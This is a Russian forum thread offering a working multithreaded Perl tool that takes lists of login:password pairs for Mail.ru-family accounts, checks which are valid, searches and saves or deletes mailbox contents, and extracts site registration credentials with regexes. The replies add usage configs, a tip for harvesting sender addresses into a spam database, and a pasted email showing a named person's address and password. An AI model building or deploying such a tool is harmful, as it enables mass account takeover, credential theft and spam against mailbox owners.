Парсер писем для Mail.ru by Fepsis Интро: Каждый из нас знает про замечательный почтовый сервис Mail.ru, многие держат там почтовый ящик, у кого-то на мейл.ру даже 2 ящика Но что делать, если количество ваших почтовых ящиков измеряется в сотнях, а то и в тысячах..?! Как найти нужное письмо..?! Как вспомнить, на какой из ящиков зарегистрирован аккаунт на любимом форуме..?! На помощь приходит Парсер писем для Mail.ru by Fepsis... Описание: - Скрипт написон на PERL-е, для его наботы нужен ActivePerl. Скачать можно тут: http://www.activestate.com/activeperl/downloads - Работа идёт по списку аккаунтов вида: Code: [email protected]:pass [email protected]:pass [email protected]:pass - Поддерживаются домены @mail.ru, @inbox.ru, @bk.ru, @list.ru. - Скрипт работает в несколько потоков, число потоков задаётся опционально. - Работает через веб интерфейс. - Прокси/Сокс НЕ ПОДДЕРЖИВАЕТ. Описание возможностей: - Проверка аккаунтов на валидность. - Поиск в почтовом ящике писем, соответствующих определённому запросу (слову/фразе). Запрос задаётся в настройках скрипта. - Сохранение писем, найденных по определённому запросу. Сохранить письма можно как html (то есть, так, как они выглядят в яшике), либо сохранить просто текст письма. Формат сохранения задаётся в настройках скрипта. - Удаление писем, найденных по определённому запросу. - Поиск регулярным выражением и сохранение, определённой информации из писем найденных по какому-либо запросу. Сам скрипт: script.pl Code: #!/usr/bin/perl ################# By Fepsis for forum.antichat.ru ################# use threads; use threads::shared; use LWP::UserAgent; use HTTP::Cookies; use HTTP::Request::Common; use HTML::Entities; ################# Config ############### my $t = 3; # число потоков my $modCheckAcc = 0; # если = 1 - сохраняет валидные в good.txt, не валидные в bad.txt my $modCheckMess = 1; # если = 1 - ищет в ящике письма, соответствующие запросу $query, если = 0, то нижеперечисленные функции не будут работать my $query = 'Facebook'; # запрос для поиска my $formatTxt = 0; # если = 1 - переводит письма в текст (удаляет html теги) my $modSaveMess = 1; # если = 1 - сохраняет найденные письма в папку 'mails' my $modDelMess = 0; # если = 1 - удаляет найденные письма my $modSearch = 0; # если = 1 - ищет в найденных письмах соответствия регулярке $pattern, результат сохраняет в 'SearchResults.txt' my $pattern = qr/Пользователь (.+?) написал вам сообщение/; # эта регулярка вытащит "%username%" из строк "Пользователь %username% написал вам сообщение" ############### End Config ############## my @bas : shared; my @threads; my $fileBad = 'bad.txt'; my $fileGood = 'good.txt'; my $srchRes = 'SearchResults.txt'; my $mailsDir = 'mails'; my $br = '<br>'; my $type = '.htm'; my $ua = LWP::UserAgent->new; $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19"); my $cookie_jar = HTTP::Cookies->new(); $ua->cookie_jar($cookie_jar); open(BASE, 'base.txt'); chomp(@bas = <BASE>); close(BASE); sub logg { my ($data, $file) = @_; open(OUT, ">> ".$file); print OUT "$data\n"; close(OUT); } sub arbyte { my ($i) = @_; while(my $acc = shift(@bas)) { print 'Thread #'.$i.': '.$acc."\n"; my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/; if (authorization($login, $domain, $pass)) { if ($modCheckAcc == 1) { logg($acc, $fileGood); } if ($modCheckMess == 1) { check_mess($query, $login, $domain, $pass); } } else { if($modCheckAcc == 1) {logg($acc, $fileBad);} } } } sub authorization { my ($login, $domain, $pass) = @_; $cookie_jar->clear(); my $ex = $ua->request(POST 'http://win.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]); if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/) { return 1; } } sub check_mess { my ($query, $login, $domain, $pass) = @_; my ($ex, @messages, @tmpMess); my $j = 1; while (1) { $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/gosearch?q_query='.$query.'&page='.$j); if (my @tmpMess = $ex->content() =~ /type=\"checkbox\" name=\"id\" value=\"(.+?)\" \/><\/td>/g) { push(@messages, @tmpMess); $j++; } else {last;} } foreach (@messages) { $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/readmsg?id='.$_); my ($mess) = $ex->content() =~ /<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>(.+?)<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>/s; if ($formatTxt == 1) { $mess =~ s/<.+?>/ /g; $mess =~ s/\s+/ /g; decode_entities($mess); $br = "\n"; $type = '.txt'; } if ($modSearch == 1) { if ($mess =~ /$pattern/) { $res = $1; logg($login.'@'.$domain.':'.$pass.' => '.$res, $srchRes); } } if ($modSaveMess == 1) { logg('### begin ###'.$br.$mess.$br.'### end ###'.$br.$br, $mailsDir.'/'.$login.'#'.$domain.$type); } if ($modDelMess == 1) { $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/movemsg?remove&id='.$_); } } } for my $i (1..$t) { push @threads, threads->create(\&arbyte, $i); } foreach my $thread (@threads) { $thread->join(); } В папке со скриптом должна быть папка "mails" и файл "base.txt" с аккаунтами вида: Code: [email protected]:pass [email protected]:pass [email protected]:pass Перед началом работы, отредактируйте в скрипте это: Смотри пост #2 примеры использования Code: ################# Config ############### my $t = 3; # число потоков my $modCheckAcc = 1; # если = 1 - сохраняет валидные в good.txt, не валидные в bad.txt my $modCheckMess = 0; # если = 1 - ищет в ящике письма, соответствующие запросу $query, если = 0, то нижеперечисленные функции не будут работать my $query = 'У вас новое сообщение'; # запрос для поиска my $formatTxt = 0; # если = 1 - переводит письма в текст (удаляет html теги) my $modSaveMess = 1; # если = 1 - сохраняет найденные письма в папку 'mails' my $modDelMess = 0; # если = 1 - удаляет найденные письма my $modSearch = 0; # если = 1 - ищет в найденных письмах соответствия регулярке $pattern, результат сохраняет в 'SearchResults.txt' my $pattern = qr/Пользователь (.+?) написал вам сообщение/; # эта регулярка вытащит "%username%" из строк "Пользователь %username% написал вам сообщение" ############### End Config ############## Не было возможности проверить на большом количестве акков, но вроде раньше mail.ru не банили и не выдавали капчу при доступе через веб интерфейс.. Тестите, отписывайтесь..!!! Скрипт выложен в ознакомительных целях, за любой ущерб, нанесённый в результате использования этого скрипта, автор ответственности не несёт..))
Примеры использования Пример #1: Вы хотите проверить ваши аккаунты на валидность Code: ################# Config ############### my $t = 3; my $modCheckAcc = 1; my $modCheckMess = 0; my $query = 'У вас новое сообщение'; my $formatTxt = 0; my $modSaveMess = 1; my $modDelMess = 0; my $modSearch = 0; my $pattern = qr/Пользователь (.+?) написал вам сообщение/; ############### End Config ############## Пример #2: Вы хотите удалить из своих ящиков все письма, в которых упоминается "ВКонтакте" Code: ################# Config ############### my $t = 3; my $modCheckAcc = 0; my $modCheckMess = 1; my $query = 'ВКонтакте'; my $formatTxt = 0; my $modSaveMess = 0; my $modDelMess = 1; my $modSearch = 0; my $pattern = qr/Пользователь (.+?) написал вам сообщение/; ############### End Config ############## Пример #3: Вы хотите собрать со своих почтовых ящиков письма с регистрационными данными на различных сайтах (как правило эти письма содержат слова "логин" и "пароль").. Письма сохранятся в формате html в папке 'mails' Code: ################# Config ############### my $t = 3; my $modCheckAcc = 0; my $modCheckMess = 1; my $query = 'логин пароль'; my $formatTxt = 0; my $modSaveMess = 1; my $modDelMess = 0; my $modSearch = 0; my $pattern = qr/Пользователь (.+?) написал вам сообщение/; ############### End Config ############## Пример #4: Вы много раз регистрировались на сайте site.ru, но не помните, на какие именно ящики и не помните свои регистрационные данные.. Сайт site.ru при регистрации присылает логин с паролем в письме с темой "Добро пожаловать на site.ru".. Если удалить из письма html теги, то в нём будет строка "Ваши регистрационные данные: Ваш логин:login Ваш пароль:рarol С уважением, site.ru", вы хотите собрать со всех своих ящиков эти данные и сохранить в один файл.. Code: ################# Config ############### my $t = 3; my $modCheckAcc = 0; my $modCheckMess = 1; my $query = 'Добро пожаловать на site.ru'; my $formatTxt = 1; my $modSaveMess = 0; my $modDelMess = 0; my $modSearch = 1; my $pattern = qr/Ваши регистрационные данные: (.+?) С уважением, site.ru/; ############### End Config ############## Результат будет сохранён в файле 'SearchResults.txt'
Всё норма чекать мыльники им очень хорошо и быстро а вот письма искать у меня что то не получается ( К примеру хочу найти в своих мыльниках все пароли от VK подскажите что я не правильно делаю вроже всё по инструкции
TikTik, сейчас нет возможности сказать точно, ибо нет мыла с такими письмами... Точно не помню, как именно формулируется тема письма с паролем, пусть для примера: "Ваш пароль на сайте ВКонтакте".. Прогоняешь мыла, на которых есть письма от контакта с паролями вот с таким конфигом: ################# Config ############### my $t = 3; my $modCheckAcc = 0; my $modCheckMess = 1; my $query = 'Ваш пароль на сайте ВКонтакте'; my $formatTxt = 1; my $modSaveMess = 1; my $modDelMess = 0; my $modSearch = 0; my $pattern = qr/ (.+?) /; ############### End Config ############## после этого (если скрипт найдёт эти письма на ящиках) в папке mails появятся текстовые документы, в которых сохранятся письма.... Выложи сюда пример письма...
ВКонтакте.ру <[email protected]> в адресную книгу • в чёрный список • в фильтры Кому: Poман Синицин <[email protected]> Дата: 29 Июн 2010 20:46:14 Тема: Ваш код активации win koi mac utf Приложения Перевести Poман Синицин, С Вашего почтового адреса совершена регистрация на сайте ВКонтакте.ру. Чтобы активировать Вашу регистрацию, пожалуйста, пройдите по ссылке: http://vkontakte.ru/register.php?act=confirm&code=cbf8b0add9c7c74d46bf4d8e40b2aa23 Вы можете зайти на сайт и просмотреть страницы Ваших друзей и однокурсников, используя Ваш почтовый адрес и Ваш пароль: 250200 Если Вы не подавали заявки на регистрацию, проигнорируйте это письмо - возможно, кто-то совершил ошибку. С уважением, Администрация ВКонтакте.ру
Слышал... Веб интерфейс испоьзую тут сознательно... Через поп3 писал нечто похожее на php около года назад, заметил следующее: 1) При нескольких попытках авторизации с неверными данными по pop3 протоколу получаешь временный бан.. С веб интерфейсом такого не наблюдалось... 2) Если писем на ящике очень много, имхо не целесообразным получать заголовки всех писем + сами письма, а потом парсить нужные, проще сделать лишний пост запрос (поиск в ящике по ключевой фразе) и слить уже только письма, удовлетворяющие запросу...
Полезный скрипт. Спасибо. Можно добавить в функцию записи лога блокировку файла. При многопоточности полезно Code: logg { my ($data, $file) = @_; open(OUT, ">> ".$file); while(!flock (OUT, 2)){ }; #lock print OUT "$data\n"; flock (OUT, 8); #unlock close(OUT); }
Было бы полезно добавить функцию - Слить все адреса отправителей с определенным доменом. Например @rambler.ru и он выкачивает все письма и вытаскивает мыла отправителей.. собираем спам базу)
Я не уверен, что скрипт ещё работает... Отпиши какой конфиг используешь и какие письма пытаешься получить..
На мейле кое-что поменялось... mazaxaka, первый пост обновил, возьми оттуда скрипт... отпиши о результатах..
Большая просьба сделать настройку глубины проверки почтовых ящиков. Например "глубина"=30 - это значит нужно проверить 30 последних (самых свежих) писем. С этим параметром проверка будет проходить намного быстрее. Заранее благодарен
Аналог есть тут: http://forum.antichat.ru/thread272601.html + работает без бананов на яндексе. А так бесплатного не видел для яндекса там трабла валидность лучше проверять по ПОП3 протоколу а уже парсить ХТТП.
Вот сбор по критериям было бы не плохо сделать. (По дате, по названиям, по содержанию, по отправителю, по не прочитанным, по последним, по самым первым и так далее.)